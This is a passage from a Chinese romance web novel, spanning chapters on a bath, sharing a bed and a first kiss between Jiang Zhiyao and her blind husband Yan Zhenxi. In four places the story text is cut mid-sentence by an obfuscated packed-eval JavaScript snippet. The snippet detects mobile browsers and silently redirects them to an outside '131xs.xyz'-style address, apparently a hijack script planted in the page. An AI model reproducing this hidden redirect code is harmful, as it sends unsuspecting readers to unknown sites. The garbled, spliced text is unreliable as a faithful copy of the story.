头向姜知瑶的那边侧过去，靠在了姜知瑶的身上。 姜知瑶身体僵了一瞬，低头看着晏枕溪的发顶，没忍住上手摸了两下晏枕溪柔顺的头发。 好乖啊。 - 用过晚膳后，姜知瑶来到了晏枕溪的寝室里。 与自己的寝室里摆了许多东西不同，晏枕溪的寝室显得很冷清，东西也没有几件，就连床榻都显得冷冷清清的，枕头和被子摆放地整整齐齐。 姜知瑶的床榻上则摆了几个布娃娃，床幔选的也是那种有好看流苏的。 “夫人，你就坐床上吧，方便一点。”晏枕溪看上去很为姜知瑶考虑地说道。 “好。”姜知瑶没有多说什么，带着晏枕溪走过去坐到了床上，等坐到了上面，四周被晏枕溪身上的那股冷清的香味围绕住后，才后知后觉地感到有些脸红。 晏枕溪跟着姜知瑶在一旁坐下，姜知瑶看着晏枕溪在身旁床榻上坐下，总感觉两人之间围绕着一种说不清道不明的感觉。 姜知瑶闭了下眼睛，把脑海里奇怪的想法都摒弃，在心里不断告诉自己，只是来按摩而已，按摩而已。 晏枕溪手拂过姜知瑶的衣袖，像是在确定她的位置，然后扶着床榻的边缘，缓缓躺在了姜知瑶的腿上。 “有劳夫人了。”姜知瑶看着躺在自己腿上的晏枕溪薄唇微启。 “好。”姜知瑶一时有些慌乱，都不知道要做什么了。 过了一会才试探地把手搭在了晏枕溪的脑袋上，开始轻轻按了起来。 一开始姜知瑶还会对着晏枕溪的脸恍神，但后面便靠在一旁的床柱上，专注地按了起来，动作越发轻柔舒缓。 晏枕溪躺在姜知瑶腿上，望着一脸认真的姜知瑶，不觉嘴角上扬。 看着姜知瑶坐在自己的寝室里，室里点着自己常用的熏香，晏枕溪感觉姜知瑶也在一点点的被染上自己的气息，心里很是满足。 怕压累了姜知瑶，晏枕溪大部分的力都在躺着的身体上，和自己有些硬的大腿不同，姜知瑶的腿有些软，躺得很舒服。 脸颊的一旁是姜知瑶柔软的小腹，晏枕溪很想凑过去把脸颊贴上，但也只是想想而已。 晏枕溪不敢再有过多的动作，怕惊扰了姜知瑶。 姜知瑶的动作很舒服，看着姜知瑶那温柔认真的脸庞，晏枕溪难得的有些昏昏欲睡的感觉。 姜知瑶按了许久，听见晏枕溪渐渐平缓的呼吸声，轻轻唤了晏枕溪一声：“夫君？” 见没有回应，姜知瑶动作放轻最后慢慢停下，轻轻起身将晏枕溪的脑袋放在了枕头上。 站在原地想了一会，怕晏枕溪不舒服，姜知瑶弯腰把晏枕溪身上的外衣褪下。 可手刚一接触到晏枕溪的衣领，姜知瑶就立马收回了，因为她的手背碰到了晏枕溪的下颌处，只是接触皮肤就让姜知瑶心悸不已。 没过多久，晏枕溪轻哼了一声，稍微侧了点身，像是被身上的外衣硌到了，但还是一副睡着了的样子。 看到后姜知瑶不再过多犹豫，还是决定帮晏枕溪脱掉外衣。 姜知瑶扯住衣领，不再多想什么，动作放轻将晏枕溪的外衣褪了下来。 姜知瑶原本还会觉得有些困难，因为要搬动身体，但过程却异常顺利，姜知瑶甚至有种好像是晏枕溪自己在脱，而她只是在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931319|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁搭了个手的错觉。 将外衣放在一旁的架子上后，姜知瑶仔细地整理晏枕溪被弄乱的长发，轻轻拨走在晏枕溪脸上的头发，手指不可避免地触碰到了晏枕溪的脸颊。 整理好后，手指离开前，晏枕溪轻轻动了一下，姜知瑶有些心虚地想把手快点收回来，但晏枕溪只是稍微侧了点头，像是轻蹭了一下她的手指一样。 姜知瑶收回手，碾了下有些酥麻的指尖。 最后扯开一旁的被子，慢慢搭在了晏枕溪的身上。 姜知瑶离开床边，想要去吹灭灯盏，但刚迈开脚步，手腕便被人牵住了。 “夫人？”晏枕溪的声音有些低沉沙哑，像是刚被吵醒一样。 姜知瑶转头看去，晏枕溪用另一只手撑起一点了身体，语气低哑地说：“夫人，天色已晚，要不今日就在我这宿下，可好？” 最后俩字声音放的轻而又起轻，隔着昏黄的烛光，姜知瑶看着床上玉貌昳丽，唇似朱丹的晏枕溪，外袍褪去，他现在身上只剩里衣，随着晏枕溪起来的动作微微敞开，露出些许里面白玉般的胸膛。 她的脚底仿佛扎根了一样，挪不开一点，就连视线也不能从他身上挪开分毫。 像是只过了一瞬，又像是过了许久，姜知瑶才有些艰难地挪开视线，紧盯着自己的裙摆，有些生硬地开口拒绝道：“不、不了，我还是回去。” 听完姜知瑶的回答后，晏枕溪拽着姜知瑶的手腕过了好几秒，才蓦然松开：“是我唐突了，那夫人回去吧。” 回到自己的寝室后，姜知瑶松了一口气，还好自己抵抗住了。 想到这里姜知瑶不禁有些说不出来的恼，晏枕溪一点防备都没有吗？ 虽然晏枕溪是好意，但是他有没有想过，要是自己真的留下来了，万一自己忍不住对他做些什么，到时候他肯定会后悔的。 见姜知瑶动作有些急促地离开房间后，晏枕溪不再摆什么姿势，随意躺在床榻上。 动作有些粗鲁地扯开自己的眼纱扔在一旁，晏枕溪有些郁闷，这样都行不通，难道要强硬一些吗？ 不，也不行，万一把她吓哭了怎么办。 到底要怎样姜知瑶才会和自己同床共寝呢，晏枕溪聪明的脑袋对此一点办法都没有。 让姜知瑶和自己一起用膳，用膳重要的是吃食，晏枕溪便找来了合姜知瑶胃口的厨子。 那要是想共寝，换枕头被子肯定没什么用，那其他的值得考虑的因素就是，共寝的人了。 晏枕溪盯着床幔，有些想不通，这些天下来，他能看出姜知瑶对好看的东西都有些偏爱，也能看出她对于自己的这个相貌还是喜欢的。 刚刚在姜知瑶的眼底晏枕溪也看到了动摇的神色，那为什么，最后她拒绝了？ 晏枕溪还是第一次做这种用自己容貌引诱人的事情，竟然还失败了。 他原本是想温水煮青蛙，先让姜知瑶和自己共寝一天，后面再徐徐图之，就像一起用膳一样，后面再让姜知瑶慢慢习惯。 但他没想到竟然出师未捷。 肯定是自己方法不对，或者是，力度不够，晏枕溪想。 21. 沐浴 姜知瑶近来就寝前都会来到晏枕溪的寝室里，帮晏枕溪按摩。 在门口敲了几下后，姜知瑶便推门走了进去，和往常一样走到内室，却发现里面空无一人。 不在吗？ 姜知瑶刚准备离开，就听见不远处的屏风后传来了一阵水声。 屏风旁隐隐约约透出些水蒸气，上面还搭着件里衣，让人看上去想入非非。 意识到晏枕溪现在在干什么后，姜知瑶有点慌乱，想要快点离开房间，后退半步却不小心踢到了一旁床边的脚踏，发出不小的响声。 “是小成吗？”晏枕溪温润的声音伴着淅沥的水声。 小成是晏枕溪身边的一个小厮。 还没等姜知瑶出声回应，晏枕溪继续说着：“把床边的衣服拿来。” 像是受到蛊惑一样，姜知瑶没有开口说话，而是把手慢慢地伸向了那堆衣物。 但当手刚刚触碰到有点凉的衣服时，姜知瑶突然清醒了，她紧闭了一下眼睛，咬了下自己的舌尖，然后睁眼有些干涩地扬声说道：“夫君，是我，我现在就去叫小成过来。” 说完便慌不择路地离开了房间。 听到关门声后，屏风后的晏枕溪攥紧了手中的毛巾，随后有些郁闷地将自己的小半张脸埋进浴桶的水里。 水面上的一瓣牡丹花瓣恰巧漂浮到了晏枕溪的鼻子边，泛起阵阵痒意。 晏枕溪坐直了起来，湿漉漉的手泄愤般地撕起了花瓣。 他还特意让侍从准备了花瓣，但没想到姜知瑶竟然进都不进来，就这般避自己如洪水猛兽吗。 “夫君？”过了一会，耳边传来了姜知瑶小声地呼喊。 “我在。”晏枕溪立马停止手中的动作回应道。 看着水面上一些被自己撕的稀碎的花瓣，晏枕溪伸手想把它们按到水面下。 做完这个动作后，晏枕溪无奈地闭上了眼睛，怎么自己脑子被水泡昏掉了吗。 姜知瑶捧着衣物，有些屏住了呼吸走到了屏风前面。 她刚刚出门在走廊上找到了小成，说完晏枕溪现在在沐浴需要有人去服侍后。 小成便面露疑惑：“夫人，大人他一般……”不是这个时候沐浴而且不需要人服侍啊。 话刚刚开头，小成就想通了什么，转而连忙说道：“夫人，小的现在身体不舒服，可以劳烦夫人帮下忙吗？” 姜知瑶面露难色：“没事，我让其他人……” 小成双手合十连忙拜托道：“大人不喜欢其他人近身服侍，求求夫人了，就帮小的这一次吧，求求了。” 说完就捂住肚子，着急地跑走了。 “欸……”姜知瑶眼见小成跑远。 晏枕溪也不一定会让她近身啊…… 见现在四下无人，想着晏枕溪应该还在等着人，姜知瑶咬咬牙，转身回到了晏枕溪的寝室。 “夫君，小成不舒服，我帮你把衣物拿进来？”姜知瑶隔着屏风问道。 “有劳夫人了。” 姜知瑶绕开屏风，走到了晏枕溪旁边，全程都闭着眼，动作有些迟缓。 眼见姜知瑶快要撞到一旁的衣架，晏枕溪着急地就要开口，但下一秒姜知瑶又避开了。 “夫人。”晏枕溪松了一口气开口唤道。 但姜知瑶误以为是晏枕溪等不及了。 算了。 姜知瑶还是睁开了眼，闭着眼太不容易走路了。 想到这里姜知瑶又开始心疼晏枕溪了起来。 她只是这一小段路尚且不便，那晏枕溪平时…… 一心疼起来姜知瑶也想不到什么暧昧的事情了，她加快脚步走到浴桶旁，把衣物放在旁边的小凳上。 随后直起身来，看到浴桶水面上有些碎的花瓣微微皱眉。 怎么给晏枕溪的花瓣都是碎的？是觉得晏枕溪看不见所以不在意吗？ 姜知瑶轻声问道：“夫君，有什么要帮忙的吗。” 晏枕溪见姜知瑶注意到了水面上的碎花瓣，难得地耳尖泛红，他尽量忽视心里那一点羞涩的情绪，开口说出自己原本的打算：“想要夫人帮忙穿下衣服，可以吗？” “好。”姜知瑶一口应下。 紧接着便见晏枕溪从浴桶中站了起来。 姜知瑶瞬间瞪大了眼睛，之前晏枕溪坐着的时候，浴桶中的水是乳白色的，在加上水面上有许多花瓣，所以也看不见什么。 但晏枕溪现在慢慢站起来，姜知瑶第一次亲眼看见了男子的赤裸的上身，晏枕溪的皮肤很白，但并不羸弱，相反，身材匀称，充满力量感，六块腹肌块状分明。 长发披散下来，被水打湿紧贴着胸膛，发梢滴落下来些许晶莹的水珠，顺着肌肉线条慢慢滑落，滑向更加危险的地方。 姜知瑶知道她现在应该闭上眼睛又或者是转过身去，但她莫名的就是没有动作。 男子完全站了起来，看到他下半身用巾帕围住后，姜知瑶松了一口气，不知是庆幸还是失望。 姜知瑶回过神来，开口说道：“你先擦下身子吧，等会好了叫我。” 说完便急忙走了出去。 晏枕溪当然没有错过姜知瑶看到时的眼神，她应该还是满意的吧，若是今日和她提共寝之事，她会同意吗？ 一屏之隔，姜知瑶的脸早就红透了。 姜知瑶懊恼地把脸埋进手心，她刚刚和乘人之危有什么区别，仗着晏枕溪看不见就这样、这样肆无忌惮地看他。 但是她又想起了刚刚看到的场景，其实，若是让她再选一次，她也还是会看的，姜知瑶想。 “夫人，我好了。”屏风后传来晏枕溪的声音。 姜知瑶走了进去，晏枕溪已经擦干了身体，穿好了下衣。 她拿起一旁的衣服，磕磕绊绊地开始帮晏枕溪穿起了起来。 原本应该是很快的事情，但姜知瑶看着离自己只有几寸的身躯，不由的有些手忙脚乱。 距离太近了，近的姜知瑶稍微往前一些，鼻尖就可以径直撞上晏枕溪赤裸的背脊。 因为刚刚泡过澡，姜知瑶可以清楚地感受到晏枕溪皮肤上的热气和皂香。 姜知瑶一直忍着脸上的热意，帮晏枕溪穿上衣服，只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933496|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一点步骤了，姜知瑶绕到了晏枕溪的前面。 在最后要拉过衣领的时候，姜知瑶根本不敢抬头看，只想快点结束，但或许是越不想发生什么意外越发生些什么，姜知瑶的指甲不小心划到了晏枕溪的胸膛。 “没事吧？”还没等晏枕溪有什么反应，姜知瑶先紧张了起来。 晏枕溪的皮肤很白，不一会就出现了一道明显的红痕，在红果的下方一点。 姜知瑶手比脑子先反应过来，摸了上去：“疼吗？” 晏枕溪偏过了一些头，喉结不明显地滚动了一下：“没事。” 反应过来后姜知瑶连忙把手从晏枕溪的胸膛上拿开，窘迫地皱了下脸，怎么自己就直接上手了啊，姜知瑶结结巴巴地说道：“不好意思，那个、我不是……” “没关系的。”还没等姜知瑶说完，晏枕溪低声开口。 但手感真的好好啊，软软弹弹的，姜知瑶有些神魂恍惚，接下来两个人都没有再说什么。 穿好衣服后，看着晏枕溪湿漉漉的头发，姜知瑶忍不住说道：“我帮你擦下头发吧，不及时擦干会头疼的。” “嗯。” 晏枕溪躺在姜知瑶的腿上，这个动作他已经做得无比熟练。 姜知瑶拿起一旁的巾帕，细细地帮晏枕溪擦了起来。 他的头发像丝绸一般，摸上去冰凉凉的顺滑，姜知瑶觉得摸起来很舒服。 晏枕溪感受着头发牵扯传来的细碎感觉，看着姜知瑶低下头来温柔的眉眼，昏黄的烛火下，他温声开口：“夫人今夜就宿在我这里，好不好。” 这次晏枕溪没找任何理由，听上去就像是他自己单纯想让姜知瑶留下来。 姜知瑶擦头发的动作停顿下来，晏枕溪第一次如此紧张的期待着一个人的回答。 在旁人面前，他向来是运筹帷幄的，不管是威逼还是利诱，总有让人答应的方法，但面对姜知瑶，他却格外笨拙。 不愿对她用上那些腌臜的手段，只能凭着自己的猜测，想她会喜欢什么，又怎样才会同意。 甚至自己亲自上场，用上了色诱的方法，却在问出口后还在担心她是否会同意。 “好。”姜知瑶答应了，刚答应后便有些后悔了，截住了尾音。 刚刚看着腿上格外乖顺的晏枕溪，他只穿了件里衣，头发还是半湿的，毫无防备的样子，是姜知瑶从未窥见过的晏枕溪，让姜知瑶说不出拒绝的话。 莫名的，她想把此刻的晏枕溪私藏。 肯定是自己刚刚在浴桶旁，被水气给蒸晕了，才会答应下来，姜知瑶想。 晏枕溪唇边露出止不住，却又刻意压制着的浅笑。 也是姜知瑶从没在他脸上见过的生动笑意。 姜知瑶伸出手，用指尖浅浅勾勒了下他的唇边。 好软啊。 等做完这个动作后，姜知瑶才后知后觉，立马把手收了回去，然后语无伦次地解释：“我、刚刚看到你那边有头发。” “嗯，多谢夫人。”晏枕溪唇边的笑意更加明显了。 看来这招还是很有用的。 22. 共寝 擦干头发后，已经到了要就寝的时间了。 姜知瑶有些局促地坐在床边，不知道接下来要做些什么。 “夫人，你睡在内侧吧。”晏枕溪打破了沉默的气氛，开口说道。 “好。”姜知瑶在心里给自己鼓气，没事的，只是单纯地盖一个被子，在同一张床上睡觉而已的。 姜知瑶有点僵硬地脱掉外衣，躺进了床的内侧。 其实这个床很大，只要小心一点，碰不到晏枕溪的，而且自己平时的睡姿应该还是好的，姜知瑶稍微放下心来。 晏枕溪熟练地吹灭床边的灯盏，室内陷入一片黑暗，只有稀薄的月光透过窗户照了进来。 察觉到床的另一边陷下去了一些，姜知瑶不自觉地屏气敛息，使得晏枕溪的动作在脑海里越发清晰了起来。 床边陷下去了一小块，是他坐下来脱鞋了。 有些许凉风吹进来了，是他掀开了一旁的被子。 凉风消失，他躺下来了。 伴随着他躺下来的动作，一股独属于他的清冷气息也一并袭来。 姜知瑶与晏枕溪之间隔着一两个拳头大小的距离，像是一条泾渭分明的楚河汉界，若不是故意，其实是碰不到对方的。 但这个距离对于姜知瑶来说，还是太近了，近到她甚至可以感受到被子正随着晏枕溪的呼吸而轻微起伏。 “睡着了吗？”不知过了多久，姜知瑶听见了晏枕溪的声音。 “是我吵到……”你了吗。 “没有。”还没等姜知瑶说完，晏枕溪开口，“是我第一次与夫人共寝，有些紧张了。” 姜知瑶没想到他会这样说，一时不知该如何回应，过了好一会，她才闷闷地说：“我也是。” 晏枕溪听到姜知瑶这难得的坦诚，轻笑了起来。 耳边传来了晏枕溪浅浅的笑声，很好听，姜知瑶耳朵感到酥酥麻麻的。 “你看看那边的窗户。”晏枕溪话语中还残留着些笑意。 姜知瑶抬眼看去，那是一个有点高的小窗户，此时皎洁的月亮刚好出现在了那个小窗户里。 那个窗户旁边做了不同形状的镂空图案，从姜知瑶的角度看过去，月亮上现在出现了竹叶。 “我时常睡不着，便让人做了一个这样的窗户，位置也是专门选好的，睡不着的时候我就会一直盯着这个窗户看。” “如今虽然看不见了，但分府的时候还是让人同样做了一个。” 姜知瑶认真地回应：“很好看，也很有趣。” 然后她告诉晏枕溪，现在月亮上的图案是什么。 像是打开了话匣子，两个人开始聊天了起来。 在话语中，关系和距离不断被拉近，聊着聊着，姜知瑶的睡意袭来，在即将会见周公的时候，姜知瑶看了眼窗户，此刻出现在月亮上面的，是一只小兔子。 - 早晨姜知瑶醒来的时候，床边已经没人了，等穿好衣服走出去问了下侍从，才知道比以往起的要迟了半个时辰。 走到正厅，发现晏枕溪已经到了，正端坐在座位上，端着一杯茶，慢慢地喝着。 一只手慢悠悠地用茶盖拂着水面，那只骨节分明的手上今日带上了一枚白玉做的扳指。 “夫君。”姜知瑶走进去喊了一声。 “夫人来了。”晏枕溪放下手中的茶，然后示意了下一旁的侍从。 姜知瑶坐下来没多久后，侍从便端上了热气腾腾的早食。 姜知瑶有些不好意思地说道：“要是下次我醒迟了，不用专门等我。” “没事的。”晏枕溪回应，“左右我也没有什么事情。” 用过早膳后，姜知瑶回到了自己的院子里。 见南枝一脸好奇的走过来，姜知瑶连忙在南枝还没开口前说道：“什么事都没有发生，只是单纯的睡了一觉。” “啊。”南枝的脸上是肉眼可见的失望，紧接着她又恢复了有些兴奋的表情，“没事，时间还长，小姐的机会多着呢。” 听完南枝的话，姜知瑶顿时哭笑不得：“好了好了，我们不说这个了。” 晏枕溪今天的心情很好。 来找晏枕溪议事的大臣们在离开的时候，都忍不住悄悄问他身旁的侍从道：“晏大人昨日有遇到什么好事吗？” 侍从茫然地摇了摇头，他也不知道啊。 晏枕溪回想起了昨晚睡觉的时候。 聊着聊着，就听见一旁的人没有回应了，晏枕溪停了下来，不一会就听见了姜知瑶平缓的呼吸声。 他无声地笑了笑。 姜知瑶睡得很熟，晏枕溪将手探过去，触碰到了姜知瑶的手。 平时姜知瑶的手是温凉的，此时在被窝里，她的手是热乎乎的。 晏枕溪慢慢地勾过姜知瑶的小拇指，接着触碰到她的手心，然后轻轻捏了捏。 最后十指相扣牵住了姜知瑶的手，做完这个动作后，晏枕溪只觉得一阵愉悦，嘴角勾起，进入了梦乡。 和煦的阳光透过窗户照了起来，晏枕溪也醒了，感到前所未有的轻松，是格外难得的一次酣睡。 意识慢慢回笼，和姜知瑶牵着的手不知在什么时候已经分开了，但取而代之的，是姜知瑶微微贴近的身体。 昨夜睡前的楚河汉界早已被两人打破，双方都互相靠近了一些。 姜知瑶此时正面朝晏枕溪侧躺着，睡得很香甜。 晏枕溪也朝她的方向侧躺，看着姜知瑶熟睡的表情，感觉心里被什么暖洋洋的东西填满，不自觉眼底染上笑意。 怕弄醒她，隔空用手描摹了姜知瑶的睡颜。 同床共寝的感觉原来是这样的吗？ 晏枕溪原以为第一次有人睡在他旁边，以自己警惕的性格，肯定会睡不好，但没想到，不仅睡着了，起的还比以往迟了一些。 同她成为一对真正的夫妻，晏枕溪突然觉得，如今光是想想就已经让自己无比愉悦了。 就这样面对面看了姜知瑶一会后，晏枕溪第一次轻手轻脚地起床穿衣，在要离开房间时，晏枕溪又站在床边看了一会。 看着姜知瑶依旧熟睡的样子，晏枕溪想，这次共寝的体验，她应该觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958464|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得还好吧。 - 那晚过后，就像是一起用膳一样，两个人又在一起共寝了。 姜知瑶原本寝室里的一些东西，就像书房里的一样，一点点搬到了晏枕溪的寝室。 原本寝室床上的一个布娃娃，也在一天被姜知瑶带到了晏枕溪的床上，放在宽大的床的最里面。 对于这种越过底线的改变，姜知瑶原本是应该去问清楚的，但姜知瑶想，难得糊涂一下也挺好的。 晏枕溪对她来说，仍是天上月，即使之间的距离被拉近了，那也只是在地面上看月亮和在阁楼上望月亮的区别罢了。 这些天来，姜知瑶同晏枕溪一起用膳，一起共寝，一起在闲暇时间相处，出门都会告诉对方，就像是，像是一对真正的夫妻一般。 但也只是像而已。 对于幸福，姜知瑶向来是持悲观的态度，觉得所有的幸福和拥有的东西只是在她手中短暂停留，而对于这些幸福和东西的离开，她无能为力。 她从心里就觉得，她是留不住，也配不上这些的。 所以对于这些，她从来都不会让自己抱有太大的期待，没有期待，就不会失望。 越是靠近幸福，她越是惶恐，就像是地位低内心胆怯的人揣着无比宝贵耀眼的金子，即使金子就是她的，但那也会让她感到害怕，害怕引来争议，害怕有人将它夺走，害怕招来他人猜忌的目光，害怕自己有天不小心弄丢了。 但每当幸福真的降临的时候，她便会无比珍惜这拥有的每时每刻，并在心底暗暗祈祷，希望幸福可以在她身上多停留片刻。 就像是现在，她所拥有的一切，都让她感到莫大的幸福，纪婉清、程明珠、南枝还有晏枕溪，以及其他她所在意的人和事。 她无比珍惜，哪怕只是场清醒梦也好。 又是一天夜晚，可能是因为夜晚的静谧太适合胡思乱想，姜知瑶开始想起各种晏枕溪开始远离她甚至其他更坏的结果起来，试图让自己稍微适应一下，以期那天到来的时候不至于太过伤心。 不知过了多久，但应该是很久了，因为姜知瑶看到那个小窗户里已经没有了月亮。 她突然开始难过起来，哪怕是刚刚在脑海里想出的再糟糕的情况她都没有像现在这样难过。 姜知瑶没由头的，开始讨厌起来自己，讨厌自己的性格，讨厌自己总是这样爱胡思乱想。 但很快她努力平复起自己的心情来，因为怕动静太大把一旁的晏枕溪吵醒。 过了一会，听着身边人轻浅的呼吸声，伴着心里的那丝郁气，姜知瑶微微起身，看着一旁熟睡的晏枕溪。 他看上去还是那么好看，夜晚的光线太过暗淡，他的面容姜知瑶不能看的很清楚，她微微靠近，端详着晏枕溪。 月亮现在就睡在她身边啊，看上去触手可及。 反正他现在睡着了不是吗，心里有道声音在蛊惑姜知瑶。 壮着胆子，姜知瑶闭上了眼睛，俯身下去。 但比吻更先落下的，是她眼角滑下的一滴泪。 氤氲了晏枕溪的眼纱。 23. 轻吻 姜知瑶的唇轻吻在了晏枕溪的眼纱上，但许是太过紧张，她没有发现眼纱下睫羽的颤动。 就在她要离开时，听见了晏枕溪有些暗哑的声音：“夫人。” 姜知瑶惊慌失措地抬头，想张口解释，却发现说不出一个字来。 她绝望地闭上眼睛，等待着晏枕溪的质问。 但感受到的，是晏枕溪有些薄茧的手抚过她的眼睛，带去了泪水。 “你为什么哭？”是无比温柔的语气。 比话语更先出来的，是突然决堤的眼泪，姜知瑶哽咽地说：“我也、不知道，可能是，晚上心情不太好。” 她努力想止住泪，却发现根本做不到，都怪晏枕溪太温柔了，姜知瑶难得有些埋怨地想到。 他应该把自己推开，这样或许现在自己就不会在他面前这么失态。 发现泪水越来越多，晏枕溪坐了起来，用手捧住姜知瑶的脸，大拇指擦去泪水。 “是有人欺负你了吗？不哭，不哭。”话语中有止不住的心疼。 “没、没有。”姜知瑶泣不成声。 晏枕溪等姜知瑶稍微平复了一下，语气有些干涩：“那我们不哭了，好不好。” 晏枕溪没有继续问，但姜知瑶莫名的，心里太闷了，她断断续续地说了出来：“你对我太好了，为什么要这么好？” “我哪里对你好了？”晏枕溪轻声问着。 “你给我很多，好看的衣服首饰、让人做我喜欢的菜、陪我玩、让我做自己喜欢的事、让我可以一直待府上，不去那些宴会、让我可以随便干任何事情。” 让我总是在心里对你升起不该有的念头。 姜知瑶的话语有些颠三倒四，语无伦次，但晏枕溪很耐心地听完，温声说道：“这不是我应该做的吗？我不是你的夫君吗？” “但，但我们不是真的夫妻啊。”姜知瑶终于还是说出来了。 “对不起。”晏枕溪突然道歉，姜知瑶有点发懵，停止了抽泣，泪眼朦胧地看向晏枕溪。 “夫人，我现在可以收回那些话吗？”看着姜知瑶的泪眼，晏枕溪的心中无比酸涩，把声音放的更加温柔地问道。 “什么话？”姜知瑶不明所以。 “收回大婚时我说的所有话。”晏枕溪捧着姜知瑶的脸靠近，“我后悔了，我们做一对真正的夫妻，好不好。” 晏枕溪没等姜知瑶回答，突然凑上去，吻住了姜知瑶。 姜知瑶的眼睛慢慢瞪大，还不等她仔细想什么，思绪便被全部夺走。 晏枕溪的手扣住了姜知瑶的后脑勺，这个吻很激烈凶狠，像是晏枕溪撕开了他这段时间伪装的一角，露出有些强势的一面。 但莫名的，让姜知瑶很安心，没有余力去想些什么其他的，她闭上眼睛，努力承受着晏枕溪的动作。 晏枕溪先在姜知瑶的唇边辗转了一会，没等到姜知瑶的抗拒，便撬开齿贝，无师自通般地长驱直入。 舌尖相触的时候，晏枕溪停顿了一秒，接着便狠狠缠绵起来，夺走姜知瑶所有的气息，晏枕溪的另一只扣住姜知瑶的腰，让姜知瑶的身体不至于软下去。 不知过了多久，晏枕溪终于停下，两人微微喘息着分开，姜知瑶的双眼迷离，脑海中一片空白，连两人唇齿间的银线都无暇顾及。 姜知瑶此时眼角沁出了些泪水，但与刚刚伤心的泪水截然不同。 晏枕溪退开一会后，等姜知瑶缓下来一点后，又凑了过去，轻轻啄吻着姜知瑶。 从微微红肿的双眼开始，慢慢往下，与刚刚的疾风骤雨不同，他现在的动作很轻缓温柔，带着安抚的意味。 姜知瑶有些痒，眨了几下眼睛，晏枕溪轻笑了一声，放过她的眼睛，亲了亲她的脸颊肉和小巧泛红的鼻尖，然后吻上了她可爱的唇珠。 轻轻吸吮了几下后，又进入姜知瑶的唇齿间慢慢勾缠，像是要把刚刚恢复一点水分的棉花重新吸干。 不知过了多久，晏枕溪终于退开，姜知瑶的唇现在格外水润。 “我们做一对真正的夫妻，好不好？”晏枕溪又问了一遍亲吻前他说的话。 姜知瑶红着脸，一时没有说话，晏枕溪笑着说：“想拒绝也不可以了，夫人，我们亲都亲过了。” “所以，你之前说的那些，都只是我应该做的而已。”晏枕溪轻声说，“不止那些，你想让我做什么都可以，或者，你想对我做什么也都可以。” 所以不要在他睡着的时候偷亲，也不要在他看不见的地方偷偷掉眼泪。 心都要碎掉了。 “阿瑶。”晏枕溪说出之前自己就想好的称呼，“我以后就叫你阿瑶好不好？我想与你更亲近些。” “好。”姜知瑶乖乖应下。 犹豫了一会，姜知瑶轻轻地说：“枕溪。” 晏枕溪听到后一懵，然后笑弯了眼，抱住姜知瑶：“阿瑶怎么称呼我都好听。” “那阿瑶现还有不开心吗？”晏枕溪低头温声询问。 姜知瑶没有说话，晏枕溪没有催促，抱着怀里的姜知瑶，静静地等着她的回答。 “我错过，今晚的月亮了。”姜知瑶闷闷地说了出来，但没有之前的那种难过了，取而代之的是一点她从来没有过的，想让人哄的情绪。 明明只是件再小不过的事情，但许是在晏枕溪的怀里太让人想倾诉，姜知瑶还是说了出来。 “是窗户里的月亮没了吗？”晏枕溪问道。 “嗯。”姜知瑶的语气里还是不可避免地染上一点委屈。 “坏月亮。”晏枕溪有些孩子气地说，“怎么跑得这样快。” “枕溪带阿瑶出去看。”说完就这样半抱着姜知瑶下了床，然后稳稳地抱着姜知瑶走出了房间。 姜知瑶应该从他怀里下来的，但她没有说话，垂着眼帘，等晏枕溪轻柔的哄声。 虽然知道晏枕溪眼睛看不见，但被抱在空中的姜知瑶却丝毫不紧张，相反，有种莫名的心安，他不会让自己摔到的。 晏枕溪往姜知瑶身上披了一件外衣，坐在了院子里的石凳上。 柔和的月光倾洒在庭院里，没有任何遮挡，姜知瑶抬眼看到了无比皎洁的月亮。 “现在阿瑶看到月亮了吗？”晏枕溪柔声问着。 “嗯，月亮真好看啊。” 这句话，是姜知瑶对着晏枕溪说的，因为知道晏枕溪看不见，所以姜知瑶在面对他的时候，总是有种难得的大胆。 但她不知道，此时晏枕溪透过薄纱将自己的目光看得一清二楚，第一次连同那眼里的明亮和爱慕也一并看了进去。 晏枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977172|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 